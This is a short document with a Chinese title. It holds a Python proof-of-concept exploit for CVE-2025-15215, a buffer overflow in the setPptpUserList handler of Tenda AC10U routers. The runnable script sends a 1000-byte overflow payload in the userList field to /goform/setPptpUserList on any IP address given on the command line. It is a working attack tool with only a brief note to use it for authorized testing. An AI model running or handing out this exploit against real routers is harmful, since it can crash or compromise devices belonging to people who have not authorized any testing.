CVE-2025-15215 Tenda AC10U路由器setPptpUserList缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15215 PoC - Tenda AC10U setPptpUserList Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in Tenda AC10U routers. Note: Use only for authorized security testing. """ import requests import sys import argparse def exploit(target_ip, target_port=80): """ Exploit the buffer overflow in formSetPPTPUserList function """ url = f"http://{target_ip}:{target_port}/goform/setPptpUserList" # Buffer overflow payload - causes overflow in parameter handling # Pattern designed to overflow buffer and potentially control execution overflow_payload = "A" * 1000 # Construct malicious POST data data = { "userList": overflow_payload, "page": "1", "pageSize": "20" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: print("[+] Exploit sent successfully - device may be vulnerable") else: print("[*] Unexpected response code") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-15215 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") args = parser.parse_args() exploit(args.target, args.port)